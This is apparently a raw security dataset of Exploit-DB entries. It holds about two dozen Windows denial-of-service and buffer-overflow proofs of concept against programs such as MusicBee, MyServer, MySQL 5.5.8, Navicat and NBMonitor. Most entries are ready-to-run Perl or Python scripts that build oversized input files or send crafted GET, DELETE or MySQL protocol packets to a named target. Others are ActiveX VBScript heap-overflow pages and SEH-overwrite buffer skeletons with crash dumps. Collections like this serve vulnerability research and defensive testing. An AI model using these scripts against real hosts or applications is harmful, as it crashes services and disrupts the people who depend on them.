deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9167
Description: Music Tag Editor 1.61 build 212 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-16
Author: LiquidWorm

Exploit:
==

* Music Tag Editor 1.61 build 212 Remote Buffer Overflow PoC *

Product: http://www.assistanttools.com/products/tag_editors/music_tag_editor/index.shtml
Tested On Microsoft Windows XP Professional SP3 (English)

Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.org/
15.07.2009

==

(8bc.86c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00410041 ebx=00000000 ecx=0010fa80 edx=00410041 esi=001e5fb0 edi=000fd060
eip=cccccccc esp=000fcfa0 ebp=000fcff8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
cccccccc ?? 

==

*** Proof Of Concept: http://zeroscience.org/codes/aimp2_evil.mp3   http://www.zeroscience.mk/old/codes/aimp2_evil.mp3
		      https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8837.mp3 (2009-aimp2_evil.mp3)

** Note: The same PoC used in:
- http://secunia.com/advisories/35305/
- http://secunia.com/advisories/35295/

EOF

# milw0rm.com [2009-07-16]
Exploit-DB #26322
Description: MusicBee 2.0.4663 - '.m3u' Denial of Service
Type: dos
Platform: windows
Date: 2013-06-19
Author: Chako

Exploit:
#!/usr/bin/perl
#
#
#
#############################################################
#
# Exploit Title: MusicBee v2.0.4663 .M3U Denial of Service Exploit 
# Date: 2013/6/19 
# Exploit Author: Chako 
# Vendor Homepage: http://getmusicbee.com/
# Version: v2.0.4663
# Tested on: Windows XP SP3 English
#############################################################

$HEADER = "http://";
#$BOF    = "\x41" x 3740;
$BOF    = "\x41" x 5000;


open(myfile, '> MusicBee _EXP.m3u');
print myfile $HEADER.$BOF;
Exploit-DB #11180
Description: Muziic Player 2.0 - '.mp3' Local Denial of Service
Type: dos
Platform: windows
Date: 2010-01-18
Author: Red-D3v1L

Exploit:
# Exploit Title: Muziic Player (.mp3) Local Denial of Service (DoS)
# Download : http://download.cnet.com/3001-20_4-10910117.html?spi=e0c701df9e16242fca1997f71350aba0
# Author: Red-D3v1L
## sh0otz fly t0 : r1z , D3v1L-Fuck3r, SarBooT511 , Sas-Terr0risT , AnGeL25dZ ,H1s0k4 , HcJ , Cyb3r-1st#
# n00bz : Zombie_KSA g0t 0wn3d hehehe n00b pakbugs zf0 ...
# my Home : www.sec-r1z.com , sEc-r1z CrEw#
#!/usr/bin/perl
system ("color a");
print "./SEC-R1Z_ _   _  _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _\n";
print " /  / _ _   \\ /  __ _\ /   _ _ /\\       \  <   |/_ _ _ _ /\n";
print " \\  \\ _ _\\__ /  /_ _ /  /  __   |  ()   / |  |    /   /\n";
print "  \\ \__ _ \\  /  /_ _ /  /  |__|  |      /  |  |   /   /\n";
print "  _ _ _ _ \\/       /  \/2_0_1_0  |       \\\ |  |  /   /_____ \n";
print " /_ _ _ _ / \_ _ _ /\ _ _ _ /  |__|\ __\ |__| /___\\/J0_ _____./str1k3z y0u!!\n";
###################################
my $r1z= "b00m.mp3";
my $boom="\x41" x 5000;
open(myfile,'>>b00m.mp3');
print myfile $boom;
print "[+] d0nE\n";
Exploit-DB #7869
Description: MW6 Barcode - ActiveX 'Barcode.dll' Remote Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-26
Author: Houssamix

Exploit:
<html>
-----------------------------------------------------------	<br/>
Author : Houssamix 										   	<br/>
-----------------------------------------------------------	<br/>
MW6 Barcode ActiveX (Barcode.dll) Reamote Heap Overflow Poc	<br/>
-----------------------------------------------------------	<br/>
<!--

http://www.mw6tech.com/download.html

Report for Clsid: {14D09688-CFA7-11D5-995A-005004CE563B}		
RegKey Safe for Script: Faux 									
RegKey Safe for Init: Faux										
Implements IObjectSafety: Vrai		 							
IDisp Safe:  Safe for untrusted: caller,data						
IPersist Safe:  Safe for untrusted: caller,data  					
IPStorage Safe:  Safe for untrusted: caller,data  					

Registers:															
--------------------------------------------------					
EIP 00B5294E														
EAX 41414141 <==== 							 				   		
EBX 00038660 														
ECX 00FA1EF8 														 
EDX 00030608 														
EDI 00000000													
ESI 00FA1EF8 														 
EBP 0013F2A0 														
ESP 0013F278 

Block Disassembly: 
--------------------------------------------------
B5294E	MOV ECX,[EAX]	  <--- CRASH											
-->

<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' ></object>
<script language='vbscript'>


arg1=String(1050, "A")

target.Supplement = arg1

</script>

# milw0rm.com [2009-01-26]
Exploit-DB #21935
Description: My Web Server 1.0.1/1.0.2 - GET Denial of Service
Type: dos
Platform: windows
Date: 2002-10-12
Author: Marc Ruef

Exploit:
source: https://www.securityfocus.com/bid/5954/info

My Web Server is a web server software package distributed and maintained by MyWebServer LLC. It is designed for the Microsoft Windows operating system.

It has been reported that My Web Server does not properly handle long requests. Because of this, a remote user placing a HTTP GET request of excessive length could cause the server to become unstable. In most cases, a long GET request causes the web server to crash, requiring a manual restart of the service. 

http://www.example.com/AAA...(approx. Ax994)...AAA
Exploit-DB #42483
Description: MyDoomScanner 1.00 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2017-08-17
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
# Exploit Title     : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Discovery Date    : 17/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows XP 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0012FAF8   43434343
#42424242   *** CORRUPT ENTRY ***
 
# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
Exploit-DB #22817
Description: MyServer 0.4.1 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-06-23
Author: eip

Exploit:
source: https://www.securityfocus.com/bid/8010/info

MyServer HTTP server has been reported prone to a remote denial of service attack.

The issue presents itself, likely due to a lack of sufficient bounds checking, performed on arguments that are supplied via malicious HTTP GET requests. It has been reported that a remote attacker may invoke a malicious HTTP GET request containing excessive data, that will supposedly trigger a segmentation fault in the server executable and the software will fail. 

#!/usr/bin/perl

#Myserver 0.4.1 Remote Denial of service ;)
#oh joy...
#deadbeat, uk2sec
#eip@oakey.no-ip.com
#deadbeat@sdf.lonestar.org

use IO::Socket;
$dos = "//"x100;
$request = "GET $dos"."HTTP/1.0\r\n\r\n";

$target = $ARGV[0];

print "\n\nMyserver 0.4.1 Remote Denial Of Service..\n";
print "deadbeat, uk2sec..\n";
print "usage: perl $0 <target>\n";
$sox = IO::Socket::INET->new(
        Proto=>"tcp",
        PeerPort=>"80",
        PeerAddr=>"$target"
)or die "\nCan't connect to $target..\n";
print $sox $request;
sleep 2;
close $sox;
print "Done...\n";
Exploit-DB #22774
Description: myServer 0.4.1 - Signal Handling Denial of Service
Type: dos
Platform: windows
Date: 2003-06-14
Author: LynX

Exploit:
source: https://www.securityfocus.com/bid/7917/info

A vulnerability has been reported for myServer that may result in a denial of service condition. The vulnerability exists when myServer receives certain signals. 

# telnet 127.0.0.1 80
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
[Ctrl]+C
Exploit-DB #22875
Description: MyServer 0.4.2 - Malformed URI Denial of Service
Type: dos
Platform: windows
Date: 2003-07-07
Author: Morning Wood

Exploit:
source: https://www.securityfocus.com/bid/8120/info

MyServer has been reported to be prone to denial of service attacks when handling certain malformed URIs. This could be exploited to deny availability of web services to legitimate users.

This issue was reported in myServer 0.4.2 on Microsoft Windows platforms. Other versions may also be affected.

http://www.example.com/cgi-bin/math_sum.mscgi?a=
http://www.example.com/cgi-bin/math_sum.mscgi??=
http://www.example.com/cgi-bin/post.mscgi???
Exploit-DB #23139
Description: myServer 0.4.x - 'cgi-lib.dll' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2003-09-12
Author: Moran

Exploit:
source: https://www.securityfocus.com/bid/8612/info

myServer has been reported prone to a remote buffer overflow vulnerability. It is possible to trigger this issue by sending overly long values for URI parameters.

Although unconfirmed, this vulnerability may be potentially exploited to execute attacker-supplied code with the privileges of the vulnerable web server.

This vulnerability was reported for myServer version 0.4.3 and earlier. 

GET /cgi-bin/math_sum.mscgi?a=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Moozatech (compatible; Moozatech Scanner)
Host: 12.12.12.12
Connection: Keep-Alive
Exploit-DB #5184
Description: MyServer 0.8.11 - '204 No Content' error Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-02-25
Author: shinnai

Exploit:
#exploit.py

import socket
import os

print '------------------------------------------------------------------'
print ' MyServer 0.8.11 "204 No Content" error Remote Denial of Service'
print ' url: www.myserverproject.net'
print ' author: shinnai'
print ' mail: shinnai[at]autistici[dot]org'
print ' site: http://shinnai.altervista.org'
print ' I do not have time for explanations, just to say that yuo can'
print ' use even other HTTP methods as GET, OPTIONS etc :-)'
print '------------------------------------------------------------------'

buff = "A" * 50
host = "127.0.0.1"
port = 80

for i in range (0,20):
    try:
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection.connect((host, port))
        connection.send("DELETE" + buff + " HTTP/1.0\r\n")
    except:
        print "Unable to connect"

# milw0rm.com [2008-02-25]
Exploit-DB #18269
Description: MySQL 5.5.8 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2011-12-24
Author: Level

Exploit:
import socket, sys 

print "\n" 
print "----------------------------------------------------------------" 
print "| MySQL 5.5.8 Null Ptr (windows)                                |" 
print "| Level Smash the Stack                                         |" 
print "----------------------------------------------------------------" 
print "\n" 

buf=("&\x00\x00\x01\x85\xa2\x03\x00\x00\x00\x00@\x93\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x00")

buf2=("\x11\x00\x00\x00\x03set autocommit30")

def usage(): 
print "usage : ./mysql.py <victim_ip>" 
print "example: ./mysql.py 192.168.1.22" 


def main(): 
if len(sys.argv) != 2: 
usage() 
sys.exit() 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

HOST = sys.argv[1] 
PORT = int(3306) 
s.connect((HOST,PORT)) 
print "[*] Connect" 
s.send(buf)
print "[*] Payload 1 sent"
s.send(buf2) 
print "[*] Payload 2 sent\n", "[*] Run again to ensure it is down..\n" 
s.close() 

if __name__ == "__main__": 
main()
Exploit-DB #12072
Description: MyVideoConverter 2.15 - Local Denial of Service
Type: dos
Platform: windows
Date: 2010-04-05
Author: anonymous

Exploit:
# Exploit Title: MyVideoConverter Local DoS
# Date: April 5, 2010
# Software Link: [http://www.ivideogo.com/]
# Version: 2.15
# Tested on: Windows XP SP3
# Author: [anonymous]
#
#!/usr/bin/perl

my $file = "hmm.vro";
my $null = "\x00";

open (FILE, ">$file");
print FILE "$null";

print "Done. . . Add file -> click Start.\n"
Exploit-DB #46309
Description: MyVideoConverter Pro 3.14 - Denial of Service
Type: dos
Platform: windows
Date: 2019-02-04
Author: Achilles

Exploit:
# Exploit Title: MyVideoConverter Pro 3.14 Denial of Service
# Date: 03.02.2019
# Vendor Homepage: http://www.ivideogo.com/
# Software Link :  http://www.ivideogo.com/
# Exploit Author: Achilles
# Tested Version: 3.14
# Tested on: Windows 7 x64
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
 
# Steps to Produce the Crash: 
# 1.- Run python code : MyVideoConverter_Pro.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open MyVideoConverter Pro
# 4.- Paste the content of EVIL.txt into the field: 'Copy and Paste Registration Code'
# 5.- Click ok
# 5.- And you will see a crash.

#!/usr/bin/env python

buffer = "\x41" * 10000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
Exploit-DB #17580
Description: MyWebServer 1.0.3 - Denial of Service
Type: dos
Platform: windows
Date: 2011-07-28
Author: X-h4ck

Exploit:
# #########################################################################
#~ Title         : MyWebServer v1.0.3 Denial Of Service  
#~ Software      : http://www.softpedia.com/get/Internet/Servers/WEB-Servers/MyWebServer.shtml
#~ Tested on     : Windows 7 (home premium) / Windows XP SP2 EN
#~ Date          : 27/07/2011
#~ Author        : X-h4ck
#~ Site          : http://www.pirate.al/ #PirateAL Crew , http://theflashcrew.blogspot.com/ 
#~ Email         : mem001@live.com 
#~ Greetz        : Danzel - Wulns~ - IllyrianWarrior- Ace - M4yh3m - Saldeath - bi0 - Slimshaddy - d3trimentaL - Lekosta - Pretorian - CroSs - Rigon - mywisdom
# #########################################################################
#Attention : It will crash on google chrome!

#!/usr/bin/python
print " MyWebServer v1.0.3 Denial Of Service"
print " PirateAL@ // Aint no pussy made where we came from \\ "
print " "

import socket
 
host = '127.0.0.1' #IP
port = 80 #PORT

buff = "\x41" * 25000
aww = "A"
exp = "\x00\x01" + buff + "\0" + aww + "\0" 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    print "Connecting..."
    print "w8..."
    sock.sendto(exp, (host, port))
    print sock.recv(1024)
    sock.close()
except:
    print "hmmm, done"
Exploit-DB #6327
Description: Najdi.si Toolbar - ActiveX Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-08-29
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 Najdi.si Toolbar Remote Buffer Overflow
 url: http://www.najdi.si/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on:
 Windows XP Professional SP2 with Internet Explorer 6 and 7
 Windows XP Professional SP3 with Internet Explorer 6 and 7
 Windows 2k Professional SP4 with Internet Explorer 6
 Windows Server 2003 SP2 with Internet Explorer 7
-----------------------------------------------------------------------------
<script language='vbscript'>

 mUrl = "res://" + String(260, "a") + "bb" + "cc" + String(512, "d") + "/"
 
 ' "bb" 	=> see EBP
 ' "cc" 	=> see EIP
 ' "ddd..."	=> see ESP

 Document.Location = mUrl

</script>

# milw0rm.com [2008-08-29]
Exploit-DB #15581
Description: Native Instruments Reaktor 5 Player 5.5.1 - Heap Memory Corruption
Type: dos
Platform: windows
Date: 2010-11-20
Author: LiquidWorm

Exploit:
Native Instruments Reaktor 5 Player v5.5.1 Heap Memory Corruption Vulnerability


Vendor: Native Instruments GmbH
Product web page: http://www.native-instruments.com
Affected version: 5.5.1 (R10584) or 5.5.1.10584

Tested on: Microsoft Windows XP Professional SP3 (English)

Summary: REAKTOR 5 PLAYER is your free entry point to the award-winning and
avant-garde audio world of REAKTOR 5 - the super-powerful modular sound studio
that made Native Instruments famous.

Desc: The NI's Reaktor 5 Player suffers from multiple file handling vulnerability
when processing .ens (Ensamble) and .ism (Instrument) files resulting in a heap
overflow/memory corruption crash. An attacker can leverage from this scenario to
arbitrary code execution or denial of service attack.

~ Trigger the .ism issue after loading a legit .ens file and then Import Instrument.


----------------------------------------------------------------

Heap corruption detected at 03E562B8
(f54.bf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03e562d8 ebx=02590000 ecx=baadf00d edx=baad0000 esi=03e562d0 edi=03e562b0
eip=7c910a19 esp=0012ee98 ebp=0012eea4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
ntdll!wcsncpy+0x49a:
7c910a19 8b09            mov     ecx,dword ptr [ecx]  ds:0023:baadf00d=????????
0:000> !exploitable
Exploitability Classification: UNKNOWN
Recommended Bug Title: Data from Faulting Address controls Branch Selection
starting at ntdll!wcsncpy+0x[PII_REDACTED]00049a (Hash=0x5e404872.0x612d247e)

The data from the faulting address is later used to determine whether or not a branch is taken.
0:000> g
(f54.bf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03e56300 ebx=02590000 ecx=abababab edx=41414141 esi=03e562f8 edi=03e56318
eip=7c911689 esp=0012ee98 ebp=0012eea4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
ntdll!RtlInitializeCriticalSection+0x6c:
7c911689 8b09            mov     ecx,dword ptr [ecx]  ds:0023:abababab=????????

----------------------------------------------------------------


Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                             Zero Science Lab
                             liquidworm gmail com

05.11.2010

Advisory ID: ZSL-2010-4978
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4978.php


PoC:
http://www.zeroscience.mk/codes/pocs_ens_ism.rar
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15581.rar (pocs_ens_ism.rar)
Exploit-DB #44558
Description: Navicat < 12.0.27 - Oracle Connection Overflow
Type: dos
Platform: windows
Date: 2018-04-30
Author: Kevin McGuigan

Exploit:
#!/usr/bin/python
# Title: Navicat < 12.0.27 Oracle Connection Overflow
# Author: Kevin McGuigan
# Twitter: @_h3xagram
# Author Website: https://www.7elements.co.uk
# Vendor Website: https://www.navicat.com
# Date: 27/04/2018
# Version: 12.0.26
# Tested on Windows 7 32-bit
# Vendor notified on 04/04/2018. Patch issued on 25/04/2018.


# Generate file > Create new Oracle Connection > paste contents of "navicatPOC.txt" into host field and test connection to trigger overflow. 
filename="navicatPOC.txt"
junk = "A" * 1502
#nseh = "\x4C\x4C\x77\x04"
#seh= "\x75\x2a\x01\x10"
nseh = "B" * 4
seh = "C" * 4
fill = "D" * 4000
buffer = junk + nseh + seh + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #46383
Description: Navicat for Oracle 12.1.15 - _Password_ Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-15
Author: Victor Mondragón

Exploit:
#Exploit Title: Navicat for Oracle 12.1.15 - "Password" Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-02-14
#Vendor Homepage: https://www.navicat.com/es/
#Software Link: https://www.navicat.com/es/download/navicat-for-oracle
#Tested Version: 12.1.15
#Tested on: Windows 10 Single Language x64/ Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: Navicat_for_Oracle_12.1.15.py
#2.- Open code.txt and copy content to clipboard
#2.- Open Navicat for Oracle 12.1.15
#3.- Select "Conexión" 
#4.- Select "Oracle"
#5.- In "Nombre de conexión" type "Test"
#6.- In "Tipo de conexión" select "Basic"
#7.- In "Host" type 1.1.1.1
#8.- In "Puerto" type "1521"
#9.- In "Nombre del servicio" type ORCL
#10.- In "Nombre de usuario" type "user"
#11.- In "Contraseña" Paste Clipboard 
#12.- Select "Aceptar"
#13.- Crashed

cod = "\x41" * 550

f = open('string.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #46403
Description: NBMonitor 1.6.5.0 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-02-18
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: NBMonitor 1.6.5 - 'Key' Denial of Service (PoC)
# Date: 15/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com/
# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Version: 1.6.5.0
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "NBMonitor.py", it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NBMonitor.exe 
# 4.- Go to Register > Enter Registration Code...
# 5.- Write anything in 'Name' field
# 6.- Paste clipboard in 'Key' field
# 7.- Click on button -> Ok
# 8.- Crashed

buffer = "\x41" * 256
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #47866
Description: NBMonitor 1.6.6.0 - 'Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-06
Author: Ismail Tasdelen

Exploit:
# Exploit Title: NBMonitor 1.6.6.0 - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install NBMonitor
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.NBMonitor Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")
Exploit-DB #49964
Description: NBMonitor 1.6.8 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-06-08
Author: Erick Galindo

Exploit:
# Exploit Title: NBMonitor 1.6.8 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo 
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe
# Version: 1.6.8
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Go to Register > Enter Registration Code...
#3.- Write anything in 'Name' field
#4.- Paste clipboard in 'Key' field
#5.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("NBM.txt", "w")
f.write(buffer)
f.close()